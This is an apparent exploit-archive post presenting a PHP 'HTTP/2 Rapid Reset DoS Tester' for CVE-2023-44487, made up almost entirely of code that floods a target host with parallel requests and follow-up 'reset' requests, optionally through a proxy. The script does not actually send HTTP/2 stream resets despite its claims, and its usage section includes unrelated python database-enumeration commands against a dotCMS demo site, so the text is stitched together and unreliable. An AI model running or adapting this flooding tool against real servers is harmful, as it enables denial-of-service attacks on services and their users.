📄 HTTP/2 Rapid Reset DoS Tester

=============================================================================================================================================
    | # Title     : HTTP/2 Rapid Reset DoS Tester                                                                                               |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://http2.github.io                                                                                                     |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/211124/ & 	CVE-2023-44487
    
    [+] Summary :  This enhanced tool provides a comprehensive method for testing CVE-2023-44487 with cross-system compatibility, improved user interface, and detailed reporting capabilities.
    
    
    [+]  Usage :   * : Save as: poc.php
                       Run    : php poc.php 127.0.0.1
    				   
                       Run    : php poc.php 127.0.0.1 --port=8000 --http1
    				   
    
    python3 poc.py -t https://demo.dotcms.com --full
    
    # Database Enumeration Only
    python3 poc.py -t https://demo.dotcms.com --database
    
    # Quick Scan
    python3 poc.py -t https://demo.dotcms.com --quick
    	
    [+]  POC :	
    
      <?php
    /*
    indoushka
    */
    
    if ($argc < 2) {
        echo "Usage: php poc.php <host> [options]\n";
        echo "Options:\n";
        echo "  --port=<port>              Target port (default: 443)\n";
        echo "  --streams=<count>          Number of streams (default: 200)\n";
        echo "  --threads=<count>          Number of threads (default: 5)\n";
        echo "  --delay=<microseconds>     Delay between requests (default: 2000)\n";
        echo "  --proxy=<proxy_url>        Use proxy (e.g., http://127.0.0.1:8080)\n";
        echo "  --timeout=<seconds>        Request timeout (default: 5)\n";
        echo "  --http1                    Force HTTP/1.1\n";
        echo "  --check-only               Check server support only\n";
        echo "  --output=<file>            Save results to file\n";
        echo "  --no-color                 Disable colored output\n";
        exit;
    }
    
    // Parse command line arguments
    $options = [
        'host' => $argv[1],
        'port' => 443,
        'streams' => 200,
        'threads' => 5,
        'delay' => 2000,
        'timeout' => 5,
        'proxy' => null,
        'force_http1' => false,
        'check_only' => false,
        'output' => null,
        'no_color' => false
    ];
    
    for ($i = 2; $i < $argc; $i++) {
        if (strpos($argv[$i], '--') === 0) {
            $parts = explode('=', $argv[$i], 2);
            $key = substr($parts[0], 2);
            
            if (isset($options[$key])) {
                $options[$key] = isset($parts[1]) ? $parts[1] : true;
            } elseif ($key === 'http1') {
                $options['force_http1'] = true;
            } elseif ($key === 'check-only') {
                $options['check_only'] = true;
            } elseif ($key === 'no-color') {
                $options['no_color'] = true;
            }
        }
    }
    
    // Convert numeric options
    $options['port'] = (int)$options['port'];
    $options['streams'] = (int)$options['streams'];
    $options['threads'] = min((int)$options['threads'], 20); // Limit threads for Windows
    $options['delay'] = (int)$options['delay'];
    $options['timeout'] = (int)$options['timeout'];
    
    // Color support for Windows
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' && !$options['no_color']) {
        // Enable ANSI colors in Windows 10+
        if (function_exists('sapi_windows_vt100_support')) {
            sapi_windows_vt100_support(STDOUT, true);
        }
    }
    
    // ANSI color codes
    $colors = [
        'red' => "\033[31m",
        'green' => "\033[32m",
        'yellow' => "\033[33m",
        'blue' => "\033[34m",
        'magenta' => "\033[35m",
        'cyan' => "\033[36m",
        'reset' => "\033[0m"
    ];
    
    if ($options['no_color']) {
        $colors = array_fill_keys(array_keys($colors), '');
    }
    
    // Display banner
    echo $colors['cyan'] . "========================================\n";
    echo "      HTTP/2 Rapid Reset DoS Tester \n";
    echo "              by indoushka\n";
    echo "========================================\n" . $colors['reset'];
    
    echo "\nTarget: " . $colors['yellow'] . $options['host'] . ":" . $options['port'] . $colors['reset'] . "\n";
    echo "Protocol: " . ($options['force_http1'] ? "HTTP/1.1" : "HTTP/2 with fallback") . "\n";
    echo "Streams: " . $options['streams'] . "\n";
    echo "Threads: " . $options['threads'] . "\n";
    echo "Delay: " . $options['delay'] . "µs\n";
    if ($options['proxy']) {
        echo "Proxy: " . $options['proxy'] . "\n";
    }
    echo "\n";
    
    class HTTPTester {
        private $options;
        private $colors;
        private $results = [];
        private $lockFile;
        private $isWindows;
        
        public function __construct($options, $colors) {
            $this->options = $options;
            $this->colors = $colors;
            $this->isWindows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
            $this->lockFile = sys_get_temp_dir() . '/http2_tester_lock_' . getmypid();
        }
        
        private function log($message, $type = 'info') {
            $prefix = '';
            switch ($type) {
                case 'success':
                    $prefix = $this->colors['green'] . '[+] ';
                    break;
                case 'error':
                    $prefix = $this->colors['red'] . '[-] ';
                    break;
                case 'warning':
                    $prefix = $this->colors['yellow'] . '[!] ';
                    break;
                case 'info':
                    $prefix = $this->colors['blue'] . '[*] ';
                    break;
            }
            
            echo $prefix . $message . $this->colors['reset'] . "\n";
        }
        
        public function checkServerSupport() {
            $this->log("Checking server support...", 'info');
            
            $tests = [
                'HTTP/2' => CURL_HTTP_VERSION_2_0,
                'HTTP/1.1' => CURL_HTTP_VERSION_1_1
            ];
            
            $supported = [];
            foreach ($tests as $name => $version) {
                if ($this->testProtocol($version)) {
                    $supported[] = $name;
                    $this->log("$name supported", 'success');
                } else {
                    $this->log("$name not supported", 'error');
                }
            }
            
            return $supported;
        }
        
        private function testProtocol($version) {
            $curl = curl_init();
            $scheme = $this->options['port'] == 443 ? "https" : "http";
            $url = "{$scheme}://{$this->options['host']}:{$this->options['port']}/";
            
            curl_setopt_array($curl, [
                CURLOPT_URL => $url,
                CURLOPT_HTTP_VERSION => $version,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 3,
                CURLOPT_NOBODY => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_USERAGENT => 'HTTP/2-Tester/1.0',
            ]);
            
            if ($this->options['proxy']) {
                curl_setopt($curl, CURLOPT_PROXY, $this->options['proxy']);
                curl_setopt($curl, CURLOPT_HTTPPROXYTUNNEL, true);
            }
            
            $result = curl_exec($curl);
            $httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
            $effectiveVersion = curl_getinfo($curl, CURLINFO_HTTP_VERSION);
            
            curl_close($curl);
            
            return $httpCode > 0;
        }
        
        private function createCurlHandle($streamId, $isReset = false) {
            $scheme = $this->options['port'] == 443 ? "https" : "http";
            $url = "{$scheme}://{$this->options['host']}:{$this->options['port']}/";
            
            $curl = curl_init($url);
            
            $options = [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $isReset ? 1 : $this->options['timeout'],
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_USERAGENT => 'HTTP/2-Tester/1.0',
                CURLOPT_HTTPHEADER => [
                    'Accept: */*',
                    'X-Stream-ID: ' . $streamId
                ]
            ];
            
            // Set HTTP version
            if ($this->options['force_http1']) {
                $options[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_1;
            } else {
                $options[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_2_0;
            }
            
            if ($isReset) {
                $options[CURLOPT_POST] = true;
                $options[CURLOPT_POSTFIELDS] = 'reset=' . $streamId;
                $options[CURLOPT_TIMEOUT_MS] = 100;
            } else {
                $options[CURLOPT_NOBODY] = true;
            }
            
            if ($this->options['proxy']) {
                $options[CURLOPT_PROXY] = $this->options['proxy'];
                $options[CURLOPT_HTTPPROXYTUNNEL] = true;
            }
            
            curl_setopt_array($curl, $options);
            
            return $curl;
        }
        
        public function processBatch($start, $end, $type = 'create') {
            $batchResults = [];
            
            for ($i = $start; $i < $end; $i++) {
                $streamId = ($i * 2) + 1;
                
                if ($type === 'create') {
                    $result = $this->createStream($streamId);
                } else {
                    $result = $this->resetStream($streamId);
                }
                
                $batchResults[] = $result;
                
                if ($this->options['delay'] > 0) {
                    usleep($this->options['delay']);
                }
            }
            
            // Save batch results to temporary file
            $tempFile = $this->lockFile . '_batch_' . $type . '_' . getmypid() . '.json';
            file_put_contents($tempFile, json_encode($batchResults));
            
            return $tempFile;
        }
        
        private function createStream($streamId) {
            $curl = $this->createCurlHandle($streamId, false);
            
            $start = microtime(true);
            $result = curl_exec($curl);
            $end = microtime(true);
            
            if ($result === false) {
                $error = curl_error($curl);
                $success = false;
            } else {
                $httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
                $success = ($httpCode >= 200 && $httpCode < 500);
            }
            
            curl_close($curl);
            
            return [
                'stream_id' => $streamId,
                'type' => 'create',
                'success' => $success,
                'time' => round(($end - $start) * 1000, 2),
                'error' => $error ?? null
            ];
        }
        
        private function resetStream($streamId) {
            $curl = $this->createCurlHandle($streamId, true);
            
            $start = microtime(true);
            curl_exec($curl);
            curl_close($curl);
            $end = microtime(true);
            
            return [
                'stream_id' => $streamId,
                'type' => 'reset',
                'time' => round(($end - $start) * 1000, 2)
            ];
        }
        
        private function runParallel($operation) {
            $streamsPerThread = ceil($this->options['streams'] / $this->options['threads']);
            $tempFiles = [];
            
            // Create batch processes
            for ($t = 0; $t < $this->options['threads']; $t++) {
                $start = $t * $streamsPerThread;
                $end = min($start + $streamsPerThread, $this->options['streams']);
                
                if ($start >= $end) continue;
                
                // On Windows, we use sequential processing in threads
                if ($this->isWindows) {
                    $tempFile = $this->processBatch($start, $end, $operation);
                    $tempFiles[] = $tempFile;
                } else {
                    // Fork for Linux/Mac
                    $pid = pcntl_fork();
                    
                    if ($pid == -1) {
                        die("Could not fork process\n");
                    } elseif ($pid) {
                        // Parent process
                        $tempFiles[] = $this->lockFile . '_' . $pid . '.json';
                    } else {
                        // Child process
                        $batchResults = [];
                        for ($i = $start; $i < $end; $i++) {
                            $streamId = ($i * 2) + 1;
                            
                            if ($operation === 'create') {
                                $result = $this->createStream($streamId);
                            } else {
                                $result = $this->resetStream($streamId);
                            }
                            
                            $batchResults[] = $result;
                            
                            if ($this->options['delay'] > 0) {
                                usleep($this->options['delay'] / ($operation === 'reset' ? 10 : 1));
                            }
                        }
                        
                        $tempFile = $this->lockFile . '_' . getmypid() . '.json';
                        file_put_contents($tempFile, json_encode($batchResults));
                        exit(0);
                    }
                }
            }
            
            // Wait for child processes (Linux/Mac only)
            if (!$this->isWindows) {
                while (pcntl_waitpid(0, $status) != -1) {
                    $status = pcntl_wexitstatus($status);
                }
            }
            
            // Collect results from all temp files
            $allResults = [];
            foreach ($tempFiles as $tempFile) {
                if (file_exists($tempFile)) {
                    $content = file_get_contents($tempFile);
                    $batchResults = json_decode($content, true);
                    $allResults = array_merge($allResults, $batchResults);
                    unlink($tempFile);
                }
            }
            
            // Merge with main results
            $this->results = array_merge($this->results, $allResults);
            
            return count($allResults);
        }
        
        public function runTest() {
            $this->log("Starting test...", 'info');
            
            // Create streams
            $this->log("Creating " . $this->options['streams'] . " streams...", 'info');
            $created = $this->runParallel('create');
            $this->log("Created " . $created . " streams", 'success');
            
            // Reset streams
            $this->log("Resetting streams...", 'info');
            $reset = $this->runParallel('reset');
            $this->log("Reset " . $reset . " streams", 'success');
            
            return $this->generateReport();
        }
        
        private function generateReport() {
            $successful = 0;
            $failed = 0;
            $resetCount = 0;
            $totalCreateTime = 0;
            $totalResetTime = 0;
            
            foreach ($this->results as $result) {
                if ($result['type'] === 'reset') {
                    $resetCount++;
                    $totalResetTime += $result['time'];
                } elseif ($result['type'] === 'create') {
                    if ($result['success']) {
                        $successful++;
                    } else {
                        $failed++;
                    }
                    $totalCreateTime += $result['time'];
                }
            }
            
            $report = [
                'total_operations' => count($this->results),
                'successful_creations' => $successful,
                'failed_creations' => $failed,
                'reset_operations' => $resetCount,
                'avg_create_time' => $successful > 0 ? round($totalCreateTime / $successful, 2) : 0,
                'avg_reset_time' => $resetCount > 0 ? round($totalResetTime / $resetCount, 2) : 0,
                'success_rate' => ($successful + $failed) > 0 ? round(($successful / ($successful + $failed)) * 100, 2) : 0
            ];
            
            return $report;
        }
        
        public function saveResults($filename) {
            $data = [
                'options' => $this->options,
                'results' => $this->results,
                'timestamp' => date('Y-m-d H:i:s'),
                'report' => $this->generateReport()
            ];
            
            file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
            $this->log("Results saved to: $filename", 'success');
        }
    }
    
    // Main execution
    try {
        $tester = new HTTPTester($options, $colors);
        
        // Check server support if not forcing HTTP/1.1
        if (!$options['force_http1'] && !$options['check_only']) {
            $supported = $tester->checkServerSupport();
            if (!in_array('HTTP/2', $supported) && !$options['force_http1']) {
                $tester->log("HTTP/2 not supported, falling back to HTTP/1.1", 'warning');
                $options['force_http1'] = true;
            }
        }
        
        if ($options['check_only']) {
            exit;
        }
        
        $report = $tester->runTest();
        
        echo "\n" . $colors['cyan'] . "========================================\n";
        echo "TEST REPORT\n";
        echo "========================================\n" . $colors['reset'];
        
        echo "Total operations: " . $colors['yellow'] . $report['total_operations'] . $colors['reset'] . "\n";
        echo "Streams created: " . $colors['green'] . $report['successful_creations'] . $colors['reset'];
        if ($report['failed_creations'] > 0) {
            echo " (" . $colors['red'] . $report['failed_creations'] . " failed" . $colors['reset'] . ")";
        }
        echo "\n";
        echo "Reset operations: " . $colors['yellow'] . $report['reset_operations'] . $colors['reset'] . "\n";
        echo "Average create time: " . $report['avg_create_time'] . "ms\n";
        echo "Average reset time: " . $report['avg_reset_time'] . "ms\n";
        echo "Success rate: " . 
            ($report['success_rate'] > 80 ? $colors['green'] : 
             ($report['success_rate'] > 50 ? $colors['yellow'] : $colors['red'])) . 
            $report['success_rate'] . "%" . $colors['reset'] . "\n";
        
        echo $colors['cyan'] . "========================================\n" . $colors['reset'];
        
        if ($options['output']) {
            $tester->saveResults($options['output']);
        }
        
        echo "\n" . $colors['green'] . "[+] Done! Check server responsiveness.\n" . $colors['reset'];
        echo $colors['yellow'] . "Note: This tool is for educational and testing purposes only.\n";
        echo "Use only on systems you own or have permission to test.\n" . $colors['reset'];
        
    } catch (Exception $e) {
        echo $colors['red'] . "\n[!] Error: " . $e->getMessage() . "\n" . $colors['reset'];
        exit(1);
    }
    ?>
    	
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================